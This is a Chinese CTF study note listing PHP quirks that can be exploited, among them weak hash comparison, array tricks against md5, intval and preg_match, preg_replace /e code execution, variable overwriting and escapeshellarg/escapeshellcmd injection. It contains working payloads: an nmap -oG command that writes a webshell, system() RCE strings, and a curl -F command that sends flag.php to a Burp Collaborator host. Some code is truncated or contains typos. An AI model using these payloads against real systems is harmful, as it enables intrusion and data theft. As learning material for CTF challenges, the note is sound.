PHP特性

参考文章

CTF/PHP特性汇总-安全客 - 安全资讯平台 (anquanke.com)

0x00:Hash比较缺陷

1
PHP`在处理哈希字符串时,通过`!=`或`==`来对哈希值进行比较,它把每一个以`0e`开头的哈希值都解释为`0`,所以如果两个不同的密码经过哈希以后,其哈希值都是以`0e`开头的,那么`PHP`将会认为他们相同,都是`0

img

审计代码,我们输入的不能相等,但md5却需要相等,这明显的就是利用Hash的比较缺陷来做

我们只要找出两个数再md5加密后都为0e开头的即可,常用的有以下几种

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
240610708
0e462097431906509019562988736854

所以构造a=QNKCDZO&b=s878926199a即可绕过

0x01:md5

第一种:md5函数绕过

一、md5()函数获取不到数组的值,默认数组为0
二、sha1()函数无法处理数组类型,将报错并返回false

img

payload:

1
name[]=1&password[]=2

img

注意这里是===,不是==,所以这里采用md5()函数获取不到数组的值,默认数组为0这个特性来做,payload:

1
username[]=1&password[]=2

第二种:md5强类型绕过

1
2
(string)$_POST['a1']!==(string)$_POST['a2']
&& md5($_POST['a1'])===md5($_POST['a2'])}

例如这段代码,使用数组就不可行,因为最后转为字符串进行比较,所以只能构造两个MD5值相同的不同字符串.
img
两组经过url编码后的值

1
2
3
4
5
6
#1
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
#2
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%

0x03:intval函数绕过

第一个特性:

img

第二个特性:

img

例如:

img

payload如下:

1
2
?num=0x117c
?num=010574

除此之外,这个函数还可以使用小数点来进行操作

img

第三个特性:

如果$base为0直到遇上数字或正负符号才开始做转换,在遇到非数字或字符串结束时(\0)结束转换,但前提是进行弱类型比较

例如:

img

payload:

1
?num=4476e1

0x04:preg_match函数绕过

第一种:/m

1
if(preg_match('/^php$/im',$a))

/m 多行匹配,但是当出现换行符 %0a的时候,会被当做两行处理,而此时只可以匹配第 1 行,后面的行就会被忽略。

第二种:回溯绕过,

PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit,可以通过var_dump(ini_get(‘pcre.backtrack_limit’));的方式查看当前环境下的上限

img

回溯次数上限默认是100万,如果回溯次数超过了100万,preg_match返回的便不再是0或1,而是false,利用这个方法,可以写一个脚本,来使回溯次数超出pcre.backtrack_limit限制,进而绕过WAF

这里给两个个模板

1
2
3
4
5
# 开发时间:2022/11/10 23:30
import requests
payload='{"cmd":"?><?= `tail /f*`?>","test":"' + "@"*(1000000) + '"}' //短标签 `命令执行 最大回收绕过
res = requests.post("http://1.14.71.254:28704/", data={"letter":payload})
print(res.text)
1
2
3
4
5
6
7
8
9
import requests

url = 'http://3638bf4e-f63d-477c-95eb-ba023f279de8.chall.ctf.show:8080/'

data = {
'f':'very'*250000+'ctfshow'
}

reponse = requests.post(url,data=data)

0x05: preg_replace /e 模式下的代码执行

[BJDCTF2020]ZJCTF,不过如此

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}

include($file); //next.php

}
else{
highlight_file(__FILE__);
}
?>
//
?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/convert.base64-encode/resource=next.php

next.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}

foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

对于preg_replace官方给出的解释

1
mixed preg_replace( mixed $pattern, mixed $replacement, mixed $subject[, int $limit = -1[, int &$count]] )

pattern

要搜索的模式。可以使一个字符串或字符串数组。

可以使用一些PCRE修饰符。

replacement

用于替换的字符串或字符串数组。如果这个参数是一个字符串,并且pattern 是一个数组,那么所有的模式都使用这个字符串进行替换。如果pattern和replacement 都是数组,每个pattern使用replacement中对应的元素进行替换。如果replacement中的元素比pattern中的少,多出来的pattern使用空字符串进行替换。

subject

要进行搜索和替换的字符串或字符串数组。 如果subject是一个数组,搜索和替换回在subject 的每一个元素上进行, 并且返回值也会是一个数组。

limit

每个模式在每个subject上进行替换的最大次数。默认是 -1(无限)。

count

如果指定,将会被填充为完成的替换次数。

这里看了这篇文章

深入研究preg_replace与代码执行 - 先知社区 (aliyun.com)

案例

20180812110955-2fe1030e-9ddd-1

这个案例,就是 preg_replace 使用了 /e 模式,导致可以代码执行,而且该函数的第一个和第三个参数都是我们可以控制的。我们都知道, preg_replace 函数在匹配到符号正则的字符串时,会将替换字符串(也就是上图 preg_replace 函数的第二个参数)当做代码来执行,然而这里的第二个参数却固定为 ‘strtolower(“\1”)’ 字符串,那这样要如何执行代码呢?

爬坑1

上面的命令执行,相当于 eval(‘strtolower(“\1”);’) 结果,当中的 \1 实际上就是 \1 ,而 \1 在正则表达式中有自己的含义。我们来看看 W3Cschool 中对其的描述:

1
对一个正则表达式模式或部分模式 **两边添加圆括号** 将导致相关 **匹配存储到一个临时缓冲区** 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 '\n' 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。

这里的\1实际上指定的是第一个子匹配项,我们拿 ripstech 官方给的 payload 进行分析,方便大家理解。官方 payload 为: /?.*={${phpinfo()}} ,即GET方式传入的参数名为 /?.* ,值为 {${phpinfo()}}

1
2
原先的语句: preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);
变成了语句: preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});

由于前面(.*)匹配了任意字符,而第一个子匹配项就能执行我们的恶意代码如phpinfo()

20180812110955-2ff43faa-9ddd-1

爬坑2

上面的 preg_replace 语句如果直接写在程序里面,当然可以成功执行 phpinfo() ,然而我们的 .* 是通过 GET 方式传入,你会发现无法执行 phpinfo 函数,如下图:

20180812110955-3005248c-9ddd-1

我们 var_dump 一下 $_GET 数组,会发现我们传上去的 .* 变成了 _* ,如下图所示:

20180812110955-301140aa-9ddd-1

这是由于在PHP中,对于传入的非法的 $_GET 数组参数名,会将其转换成下划线,这就导致我们正则匹配失效。我们可以 fuzz 一下PHP会将哪些符号替换成下划线,发现有:(这是非法字符不为首字母的情况)20180812110955-303b094e-9ddd-1

空格 + . [

当非法字符为首字母时,只有点号会被替换成下划线:

20180812110955-3055c356-9ddd-1

所以我们要做的就是换一个正则表达式,让其匹配到 {${phpinfo()}} 即可执行 phpinfo 函数。这里我提供一个 payload\S*=${phpinfo()} 执行结果如下:

20180812110956-30652e5e-9ddd-1

这里是利用\S匹配任意非空白字符,所以可以代替 .

这里还有个坑

报错:Deprecated: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead in…

查的资料表示/e模式在php5.5.x版本已经弃用了,但是在5.6.9版本下,虽然会报错,但是还能够使用这个特性
然后7.0之后的版本就不能用了

爬坑3

下面再说说我们为什么要匹配到 {${phpinfo()}} 或者 ${phpinfo()} ,才能执行 phpinfo 函数,这是一个小坑。这实际上是 PHP可变变量 的原因。在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。 ${phpinfo()} 中的 phpinfo() 会被当做变量先执行,执行后,即变成 ${1} (phpinfo()成功执行返回true)。如果这个理解了,你就能明白下面这个问题:

1
2
3
4
5
6
7
var_dump(phpinfo()); // 结果:布尔 true
var_dump(strtolower(phpinfo()));// 结果:字符串 '1'
var_dump(preg_replace('/(.*)/ie','1','{${phpinfo()}}'));// 结果:字符串'11'

var_dump(preg_replace('/(.*)/ie','strtolower("\\1")','{${phpinfo()}}'));// 结果:空字符串''
var_dump(preg_replace('/(.*)/ie','strtolower("{${phpinfo()}}")','{${phpinfo()}}'));// 结果:空字符串''
这里的'strtolower("{${phpinfo()}}")'执行后相当于 strtolower("{${1}}") 又相当于 strtolower("{null}") 又相当于 '' 空字符串

到了这里我们就用调用其内部函数了,进行RCE

1
?\S*=${getFlag()}&cmd=system('ls /');

0x06:in_array宽松比较

看官方

1
bool in_array( mixed $needle, array $haystack[, bool $strict = FALSE] )
  • needle

    待搜索的值。 Note: 如果 needle 是字符串,则比较是区分大小写的。

  • haystack

    待搜索的数组。

  • strict

    如果第三个参数 strict 的值为 TRUEin_array() 函数还会检查 needle类型是否和 haystack 中的相同。

且in_array是区分大小写的

1
2
3
4
5
6
7
<?php$os = array("Mac", "NT", "Irix", "Linux");
if (in_array("Irix", $os)) {
echo "Got Irix";
}
if (in_array("mac", $os)) {
echo "Got mac";
}?>

第二个条件失败,因为 in_array() 是区分大小写的,所以以上程序显示为:

1
Got Irix

Example #2 *in_array()* 严格类型检查例子

1
2
3
4
5
6
7
<?php$a = array('1.10', 12.4, 1.13);
if (in_array('12.4', $a, true)) {
echo "'12.4' found with strict check\n";
}
if (in_array(1.13, $a, true)) {
echo "1.13 found with strict check\n";
}?>

以上例程会输出:

1
1.13 found with strict check

因为数组中 12.4 是数字 而匹配的是字符串

例如这道题:

img

上面的代码对下面无影响,直接写webshell即可,但是要注意文件名开头必须是以数字开头的

1
2
3
?n=1.php
DATA:
content=<?php system('cat *.php');?>

因为是宽松匹配 所以它 匹配到 1.php 中的1就通过了

0x07:变量覆盖

第一种:extract函数、parse_str函数

extract() 函数使用数组键名作为变量名,使用数组键值作为变量值,当变量中有同名的元素时,该函数默认将原有的值给覆盖掉。这就造成了变量覆盖

extract() 函数使用数组键名作为变量名,使用数组键值作为变量值,当变量中有同名的元素时,该函数默认将原有的值给覆盖掉。这就造成了变量覆盖

img

POST方法传输进来的值通过extrace()函数处理,直接传入以POST的方式传入pass=1&thepassword_123=1就可以进行将原本的变量覆盖,并且使两个变量相等即可。

还有就是这两个函数如果结合起来使用,也会造成变量覆盖

img

代码中同时含有parse_str和extract($_POST)可以先将GET方法请求的解析成变量,然后再利用extract() 函数从数组中将变量导入到当前的符号表,故payload为:

1
?_POST[key1]=36d&_POST[key2]=36d

代码中同时含有parse_str和extract($_POST)可以先将GET方法请求的解析成变量

1
2
3
$_SERVER["QUERY_STRING"]
说明:查询(query)的字符串
利用GET请求绕过POST的变量覆盖?

第二种:$$变量覆盖

$$变量覆盖要具体结合代码来看,可能会需要借助某个参数进行传递值,也有可能使用**$GLOBALS(引用全局作用域中可用的全部变量)**来做题,例如:

img

这道题便需要借助某个参数进行传递值,具体也不详细说明了,payload如下:这是比较常见的。

1
2
3
4
5
6
7
8
?Sn0w=flag
DATA:
error=Sn0w
实际在代码中为
GET:
$Sn0w=$flag
POST:
$error=$Sn0w

0x08:通过数组绕过

ereg()函数

img

ereg()函数存在null截断漏洞。可以%00截断,遇到%00则默认为字符串的结束所以可以绕过一下正则的表达。

ereg()只能处理字符串的,遇到数组做参数返回NULL。

空字符串的类型是stringNULL的类型是NULL,false、trueboolean类型

strpos()函数

img

strpos()函数如果传入数组,便会返回NULL

strcmp()函数

strcmp()函数比较两个字符串(区分大小写),定义中是比较字符串类型的,但如果输入其他类型这个函数将发生错误,在官方文档的说明中说到在php 5.2版本之前,利用strcmp函数将数组与字符串进行比较会返回-1,但是从5.3开始,会返回0

img

payload:

1
2
#POST DATA
pass[]=1

数组和字符进行比较结果不会返回1,即为false,加上非的作用,即可变成true,则满足条件

0x09:PHP自身特性

PHP的变量名格式

在CTF中也经常考察PHP的变量名格式,例如这道题:

img

1
$_POST['CTF_SHOW.COM']`无法传入参数,这是因为PHP变量名应该只有**数字字母下划线。**而且GET或POST方式传进去的变量名,会自动将`**空格**` `+ . [`转换为`_

payload:

1
2
DATA:
CTF_SHOW=1&CTF[SHOW.COM=1

不明所以

PHP数字可与字符做运算

img

但是这样能干嘛呢?

0x10:escapeshellarg&escapeshellcmd函数绕过

escapeshellarg

img

escapeshellcmd

img

先通过例子来查看一下escapeshellarg函数的作用吧

1
2
3
4
<?php 
var_dump(escapeshellarg("123"));
var_dump(escapeshellarg("12' 3"));
?>

img

在解析单引号的时候 , 被单引号包裹的内容中如果有变量 , 这个变量名是不会被解析成值的,但是双引号不同 , bash 会将变量名解析成变量的值再使用。

img

所以即使参数用了 escapeshellarg 函数过滤单引号,但参数在拼接命令的时候如果用了双引号的话还是会导致命令执行的漏洞。

再来看一下escapeshellcmd 函数的作用

img

两个函数都会对单引号进行处理,但是有区别的,如下:

img

对于单个单引号, escapeshellarg 函数转义后,还会在左右各加一个单引号,但 escapeshellcmd 函数是直接加一个转义符,对于成对的单引号, escapeshellcmd 函数默认不转义,但 escapeshellarg 函数转义

那既然有这个差异,如果escapeshellcmd()escapeshellarg() 一起出现会有什么问题
测试

img

结果

img

分析

1
2
3
4
5
6
7
一开始传入的参数
127.0.0.1' -v -d a=1
经过escapeshellarg函数处理,先转义再用单引号括起来
'127.0.0.1'\'' -v -d a=1'
再经过escapeshellcmd函数处理,数中的\以及a=1'中的单引号进行处理转义
'127.0.0.1'\\'' -v -d a=1\'
由于这一步的处理,使得\\被解释成了\而不再是转义字符,所以单引号配对连接之后将语句分割为三个部分

img

因此最后system函数是对127.0.0.1\发起请求,POST 数据为a=1',如果两个函数翻过来则不会出现这个问题

img

如果先用的escapeshellarg 再使用escapeshellcmd就会引发上面的漏洞

我们可以先看下这个例子

[BUUCTF 2018]Online Tool

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

很显然题目中的命令字符串不完整,我们可以攻击

先看escapeshellarg

关于nmap

https://blog.csdn.net/wdcxccsdn/article/details/55805803

https://blog.csdn.net/qq_41880069/article/details/82792896

最后要为空格,因为如果不加,转义出来的反斜杠会和php后缀连在一起,导致上传失败,文件路径在这

image-20221102194431363

1
'<?php eval($_POST[1]);?> -oG 1.php '

先经过escapeshellarg,在两边加上',并将原来的两个'转义

1
'\'<?php eval$_POST[1]($_POST[1]);?> -oG 1.php \''

再经过escapeshellcmd

1
'\\'<?php eval$_POST[1]($_POST[1]);?> -oG 1.php \\''

这样的话就能将

然后到这个页面就可以传马了<?php eval$_POST[1]($_POST[1]);?> -oG 1.php执行,而如果这样

1
'<?php eval($_POST[1]);?> -oG 1.php'

就会变成这样

1
'\\'<?php eval$_POST[1]($_POST[1]);?> -oG 1.php\\''

\与1.php连接导致传码失败

1
http://c5f84d64-7d37-4675-a755-17d10e21fa59.node4.buuoj.cn:81/1733f2e3dee6b1c4f721ecd2ff9de050/1.php

还可以

1
http://29777219-7b5a-45fe-acaf-af7c038602a8.node4.buuoj.cn:81/?host='<?php echo `cat /f*`;?> -oG 4.php '

Nmap命令模板

1
2
3
4
nmap [扫描参数] [时间参数] [目标地址] [输出参数]

默认扫描参数:-sS 隐蔽扫描,只发送 SYN
默认时间参数:-T3 并行扫描

我们主要了解一下输出函数‘

1
-o[ANXGS]

-oA:结果输出为所有格式文件
-oN:结果输出为普通文件
-oX:结果输出为 xml 文件
-oG:结果输出为 grep 文件
-oS:结果输出为乱码形式文件

0x11:PHP精度绕过缺陷

几次都碰到这个点,记录一下,省的以后忘了再去查

浮点运算的坑

在用PHP进行浮点数的运算中,经常会出现一些和预期结果不一样的值,先来看个小例子

img

输出的是57,而我们预想的应该是58

具体详细的原理可以看这位师傅的描述
http://www.haodaquan.com/12

简单的说因为PHP 通常使用 IEEE 754 双精度格式而且由于浮点数的精度有限的原因。除此之外取整而导致的最大相对误差为 1.11e-16,当小数小于10^-16后,PHP对于小数就大小不分了,如下图:

img

再来看一道ciscn2020初赛的题,便考察了这一点:

easytrick

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 <?php
class trick{
public $trick1;
public $trick2;
public function __destruct(){
$this->trick1 = (string)$this->trick1;
if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
die("你太长了");
}
if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
echo file_get_contents("/flag");
}
}
}
highlight_file(__FILE__);
unserialize($_GET['trick']);

看了Drom师傅的博客学到了这种方法:

因为这道题是考察浮点数精度问题导致的大小比较以及函数处理问题,当小数小于10^-16后,PHP对于小数就大小不分了

1
2
var_dump(1.000000000000000 == 1) >> TRUE
var_dump(1.0000000000000001 == 1) >> TRUE

img

0.999999999999999917个9)经过strlen函数会判断为1
img
经过测试发现!==!=均成立

img

最后看一下md5函数处理后是否相同

img

或许是因为0.9999999999999999先计算为1吧,确实也成立,那就写payload即可

1
2
3
4
5
6
7
8
9
10
<?php
class trick{
public $trick1 ;
public $trick2 ;
}

$shy = new trick();
$shy->trick1 = 1;
$shy->trick2 = 0.9999999999999999;
echo urlencode(serialize($a));

注意这里trick1的值必须为1,如果为0.9999999999999999则出不来结果,因为$this->trick1 = (string)$this->trick1;有这个语句的限制,如果为0.9999999999999999,则浮点数就变成了字符类型,因此就不会产生上面的浮点数精度问题

0x12:PHP中类的运用

反射类ReflectionClass

一句话总结:

PHP的反射类与实例化对象作用相反,【实例化】是【调用封装类中的方法、成员】,而【反射类】则是【拆封类中的所有方法、成员变量,并包括私有方法等】。

【反射类是PHP内部类】,无需加载即可使用,你可以通过实例化 【ReflectionClass】 类去使用它。

PHP反射类常用的方法?

PHP反射类【可以获取类名、类中的所有方法、成员变量,并包括私有方法等】

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class fuc { //定义一个类

static

function ec() {

echo '我是一个类';

}

}
$class = new ReflectionClass('fuc'); //建立 fuc这个类的反射类
$fuc = $class->newInstance(); //相当于实例化fuc类
$fuc->ec(); //执行fuc里的方法ec
/*最后输出:我是一个类*/

#还有其他用法
$ec=$class->getmethod('ec'); //获取fuc 类中的ec方法
$fuc=$class->newInstance(); //实例化
$ec->invoke($fuc); //执行ec 方法

2、PHP反射类常用的方法?

PHP反射类【可以获取类名、类中的所有方法、成员变量,并包括私有方法等】
1
2
3
4
5
6
7
8
9
10
11
12
13
14
         方法名                              注释
ReflectionClass::getConstant 获取定义过的一个常量
ReflectionClass::getConstants 获取一组常量
ReflectionClass::getConstructor 获取类的构造函数
ReflectionClass::getDefaultProperties 获取默认属性
ReflectionClass::getDocComment 获取文档注释
ReflectionClass::getEndLine 获取最后一行的行数
ReflectionClass::getFileName 获取定义类的文件名
ReflectionClass::getInterfaceNames 获取接口(interface)名称
ReflectionClass::getMethods 获取方法的数组
ReflectionClass::getModifiers 获取类的修饰符
ReflectionClass::getName 获取类名
ReflectionClass::getNamespaceName 获取命名空间的名称
ReflectionClass::getParentClass 获取父类

异常处理类Exception

先简单了解一下PHP异常处理

img

这里举个例子,方便理解异常类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
// 创建一个有异常处理的函数
function checkNum($number)
{
if($number>1)
{
throw new Exception("变量值必须小于等于 1");
}
return true;
}

// 在 try 块 触发异常
try
{
checkNum(2);
// 如果抛出异常,以下文本不会输出
echo '如果输出该内容,说明 $number 变量';
}
// 捕获异常
catch(Exception $e)
{
echo 'Message: ' .$e->getMessage();
}
?>
上面代码将得到类似这样一个错误:Message: 变量值必须小于等于 1

例如这道题:

img

1
2
?v1=Exception&v2=system('ls')
//如果异常就输出 system('ls')

虽然源代码中含有了括号,但是我们还是可以自己加上去,以及在里面设置参数,后面多出的()不对结果造成影响

内置类FilesystemIterator

先简单了解一下这个类的作用

PHP使用FilesystemIterator迭代器遍历目录

img

例如这道题:

img

只需获取当前路径,便可以将当前目录下所有文件给显示出来,这里可以使用php中的getcwd这个函数

getchwd() 函数返回当前工作目录

故payload为

1
?v1=FilesystemIterator&v2=getcwd

上面这两道题没时间在本地弄了明天再弄

0x13:一些姿势汇总

/proc/self/root绕过is_file函数

img

payload:

1
2
3
4
5
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php

img

在linux中/proc/self/root是指向根目录的,这里看了很多师傅的wp,都是只记录了一个payload,找到了一个大师傅对于这个方法的解释

,好像没给出连接。。

gettext&get_defined_vars函数

img

这道题涉及到的是php中的gettext的用法,先了解一下

php的扩展gettext实现程序的国际化

img

_()是gettext()函数的简写形式,那既然变量f1过滤数字和字母,就可以使用该符号来代替这个函数,这样便可以绕过第一个嵌套,然后再由最外面的call_user_func执行命令

1
call_user_func(call_user_func('_','phpinfo'))=>call_user_func('phpinfo')

虽然该函数会报错

img

但是还是会继续执行,不会停止,这时候便会执行phpinfo这个命令,但这里要获取flag,就需要再了解一个函数get_defined_vars

img

已知包含了flag.php。而flag.php肯定包含已定义好的变量列表的多维数组,故payload:

1
?f1=_&f2=get_defined_vars

img

Linux tee命令

tee命令主要被用来向standout(标准输出流,通常是命令执行窗口)输出的同时也将内容输出到文件

1
2
tee file1 file2 //复制文件
ls|tee Sn0w.txt //命令输出

例如这道题:

img

1
2
?c=ls /|tee Sn0w
在url后面请求Sn0w文件

img

Burp Collaborator Client

img

这道题主要考察的是命令执行的骚操作和curl -F的使用

如果传递的参数是$F本身,会不会出现变量覆盖那

1
2
3
4
5
6
?F=`$F `;sleep 3
substr函数截取前六位得到的是`$F `;
//这里相当于套娃了
然后$F便是输出的`$F `;sleep 3,故最后执行的代码是
``$F `;sleep 3`
``是shell_exec()函数的缩写

发现curl并没有被过滤,便可以利用curl带出flag.php,curl -F 将flag文件上传到Burp的 Collaborator Client( Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看 POST请求包以及打Cookies)

还有这一个也要学啊

img

img

payload:

1
?F=`$F `;curl -X POST -F Sn0w=@flag.php  1216a307cv2bgog6aua6lmje157vvk.burpcollaborator.net

这里要解释一下

1
2
#其中-F 为带文件的形式发送post请求
#Sn0w是上传文件的name值,flag.php就是上传的文件

其实原理很简单,相当于这台服务器上传文件传输到burp的Collaborator Client

call_user_func读取类中的函数

call_user_func函数可以调用类中的函数,这里举一个简单的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
class Test
{
static public function getS()
{
echo "123";
}
}
相当于
call_user_func(array('Test','getS'));
#输出结果
123
定义一个类Test及类方法getS,call_user_func的输入参数变为一个数组,数组第一个元素为对象名、第二个元素为参数
#如果不加static,数据会出现,但是有可能会报错

例如:

img

payload:

1
2
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
//先调用了 ctfshow类然后调用ctfshow类中的 getFLag()方法

create_function函数

这个目前没有例题

create_function,第一个参数是参数,第二个参数是内容,函数结构类似:

1
2
3
4
5
create_function('$a,$b','return 111')
相当于如下:
function a($a, $b){
return 111;
}

所以那如果我们这样进行构造payload

1
2
3
4
5
create_function('$a,$b','return 111;}phpinfo();//')

function a($a, $b){
return 111;}phpinfo();//
}

phpinfo()便会被执行,所以根据这个思路来进行构造payload

1
2
3
?show=echo Sn0w;}system('cat f*');//
DATA:
ctf=%5ccreate_function

intval函数的使用

1
intval( mixed $value, int $base = 10) : int

如果 base 是 0,通过检测 value 的格式来决定使用的进制:
◦ 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
◦ 如果字符串以 “0” 开始,使用 8 进制(octal);否则,
◦ 将使用 10 进制 (decimal)。

1
2
3
4
5
6
7
8
9
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
else{
echo intval($num,0);
}

科学计数法也可以绕过

1
2
3
4
5
6
intval('4476.0')===4476    小数点  
intval('+4476.0')===4476 正负号
intval('4476e0')===4476 科学计数法
intval('0x117c')===4476 16进制
intval('010574')===4476 8进制
intval(' 010574')===4476 8进制+空格

highlight_file路径

highlight_file的参数可以是路径的

1
2
3
4
5
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}

if语句只比对字符串,highlight_file可以写路径,故payload有多种解法:

1
2
3
/var/www/html/flag.php              绝对路径
./flag.php 相对路径
php://filter/resource=flag.php php伪协议

md5弱比较

md5弱比较使用了强制类型转换后不再接收数组

1
2
3
4
5
$a=(string)$a;
$b=(string)$b;
if( ($a!==$b) && (md5($a)==md5($b)) ){
echo $flag;
}

md5弱比较,为0e开头的会被识别为科学记数法,结果均为0,所以只需找两个md5后都为0e开头且0e后面均为数字的值即可。

不同数据弱相等

payload: a=QNKCDZO&b=240610708

MD5等于自身,如md5($a)==$a,php弱比较会把0e开头识别为科学计数法,结果均为0,所以此时需要找到一个MD5加密前后都是0e开头的,如0e215962017

md5强碰撞

主要体现在

(md5($a)===md5($b)

1
2
3
4
5
6
7
8
9
$a=(string)$a;
$b=(string)$b;
if( ($a!==$b) && (md5($a)===md5($b)) ){
echo $flag;
}
这时候需要找到两个真正的md5值相同数据

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

三目运算符的理解+变量覆盖

is_numeric与hex2bin

is_numeric在PHP5中是可以识别十六进制的,hex2bin参数不能带0x

PHP文档

hex2bin
1
string hex2bin( string $data)

这个函数不是 转换十六进制数字为二进制数字。这种转换(指将十六进制数字转换为二进制数字)可以使用base_convert() 函数。

base_convert

base_convert — 在任意进制之间转换数字

1
string base_convert( string $number, int $frombase, int $tobase)

sha1比较缺陷

sha1无法处理数组,如下可使用a[]=1&b[]=1数组绕过

1
2
3
4
5
if($a==$b){
if(sha1($a)==sha1($b)){
echo $flag;
}
}

但MD5或者sha1这种如果强制类型转换后,就不接受数组了,这个时候就要找真正的编码后相同的了,如

1
2
3
4
5
6
7
8
9
aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m
经实验不行。。。。
下面这个可以
array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1

